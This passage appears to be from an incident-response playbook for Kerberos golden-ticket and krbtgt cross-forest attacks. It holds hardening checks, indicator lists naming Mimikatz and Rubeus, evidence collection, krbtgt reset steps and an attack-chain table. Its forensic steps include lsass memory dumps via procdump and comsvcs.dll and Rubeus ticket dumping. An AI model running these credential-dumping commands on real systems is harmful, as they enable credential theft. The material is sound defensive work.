Get-HotFix -Id "KB3011780" -ErrorAction SilentlyContinue | Select-Object PSComputerName, HotFixID, InstalledDate
# Verify KRBTGT password age (should be recent if reset)
Get-ADUser -Identity krbtgt -Properties PasswordLastSet | Select-Object Name, PasswordLastSet
# Check audit policies
auditpol /get /category:* | Select-String "Kerberos"
# Verify delegation is disabled on sensitive accounts
Get-ADUser -Filter { TrustedForDelegation -eq $true } | Measure-Object # Should be minimal or 0
# Check SID filtering on trusts
Get-ADTrust -Filter * | Select-Object Name, TrustAttributes
Expected Output (If Secure):
Files:
admin.kirbi, golden.kirbi, trust.kirbi, *.kirbi (Kerberos ticket files)C:\Temp\*, C:\Users\<user>\AppData\Local\Temp\ (temporary ticket storage)mimikatz.exe, mimikatz_trunk.exekekeo.exeRubeus.exems14-068.py, *.ccache (Kerberos ticket cache files on Linux)Registry:
HKCU\Software\Microsoft\Kerberos\ (Kerberos cache settings—unusual entries)HKCU\Environment\KRB5CCNAME (explicit Kerberos cache file path)Network:
Event Log:
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx (Windows Security event log)C:\Windows\System32\config\SAM (if KRBTGT hash extracted)C:\Windows\NTDS\NTDS.dit (if domain database dumped)C:\Temp, %USERPROFILE%\AppData\Local\Temp\.kirbi file creationMemory:
klist or Mimikatz kerberos::list)Cloud (Entra ID / M365):
1. Isolate (Immediately)
Command (Local):
# Disable network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or: Shut down networking via Group Policy
netsh interface set interface name="Ethernet" admin=disabled
Command (Azure VM):
Manual (Safest - Physical Isolation):
2. Collect Evidence (Preserve Forensics)
Command (Collect Security Event Log):
# Export Security event log
wevtutil epl Security "C:\Evidence\Security.evtx"
wevtutil epl System "C:\Evidence\System.evtx"
# Or use PowerShell
Get-WinEvent -LogName Security -MaxEvents 10000 | Export-Csv -Path "C:\Evidence\SecurityEvents.csv"
Command (Collect Kerberos Cache):
# Export Kerberos tickets
klist export
# Tickets are exported to current directory as .kirbi files
# Or via Rubeus
Rubeus.exe dump /luid:0x3e7 /nowrap > "C:\Evidence\KerberosDump.txt"
Command (Memory Dump of lsass.exe):
# Using procdump (SysInternals)
procdump64.exe -ma lsass.exe "C:\Evidence\lsass.dmp"
# Using comsvcs.dll method (no special tools needed)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Evidence\lsass.dmp full
Command (Collect DCSync Artifacts):
# Check for DCSync operations in event logs
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4662} |
Where-Object { $_.Message -match "Directory Replication" } |
Export-Csv "C:\Evidence\DCSync.csv"
3. Remediate (Stop the Bleeding)
Command (Reset KRBTGT Password):
# First reset
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).Guid -Force) -Verbose
# Wait 10-15 minutes for replication
# Second reset
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).Guid -Force) -Verbose
Command (Force Logout of Forged Ticket Sessions):
# Reset all user passwords suspected of compromise
Get-ADUser -Filter { Modified -gt (Get-Date).AddHours(-1) } | Set-ADAccountPassword -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).Guid -Force) -ChangePasswordAtLogon $true -Verbose
Manual (Domain-Wide Password Reset):
gpupdate /force on all machines4. Eradication (Remove Attacker Access)
Command (Hunt for Suspicious Tickets):
# Search for .kirbi files
Get-ChildItem -Path "C:\", "C:\Temp\", "C:\Windows\Temp" -Recurse -Filter "*.kirbi" -ErrorAction SilentlyContinue
# Search for Kerberos cache files
Get-ChildItem -Path "$env:APPDATA", "$env:USERPROFILE\AppData" -Recurse -Filter "*ccache*" -ErrorAction SilentlyContinue
Command (Remove Malicious Accounts):
# Remove any suspicious service accounts or backdoor accounts created
Get-ADUser -Filter { Created -gt (Get-Date).AddHours(-24) } | Select-Object Name, Created
# Review and delete suspicious accounts
Remove-ADUser -Identity "SuspiciousAccount" -Confirm:$false
5. Recovery (Restore Trust)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [AD-ENUM-001] LDAP Enumeration / Phishing | Attacker gains foothold and initial domain user credentials |
| 2 | Privilege Escalation | [CA-KERB-001] Kerberoasting or [CA-KERB-005] AS-REP Roasting | Attacker obtains service account or user password via Kerberos cracking |
| 3 | Persistence | [CA-KERB-008] DCSync (Credential Access) | Attacker obtains replication rights and dumps krbtgt hash via DCSync |
| 4 | Current Technique | [CA-KERB-013] Krbtgt Cross-Forest Reuse | Attacker forges golden ticket and escalates to domain/enterprise admin |
| 5 | Lateral Movement | [CA-KERB-010] Silver Ticket / [CA-KERB-014] UnPAC-The-Hash | Attacker forges service tickets to access sensitive systems (MSSQL, SMB, etc.) |
| 6 | Persistence | [CA-KRBTGT-004] KRBTGT Account Manipulation or [AD-PERSIST-001] Golden Ticket Caching | Attacker maintains long-term persistence via forged tickets |
| 7 | Impact | [AD-EXFIL-001] Sensitive Data Exfiltration / [AD-RANSOM-001] Domain-Wide Encryption | Attacker achieves objectives: data theft, encryption, disruption |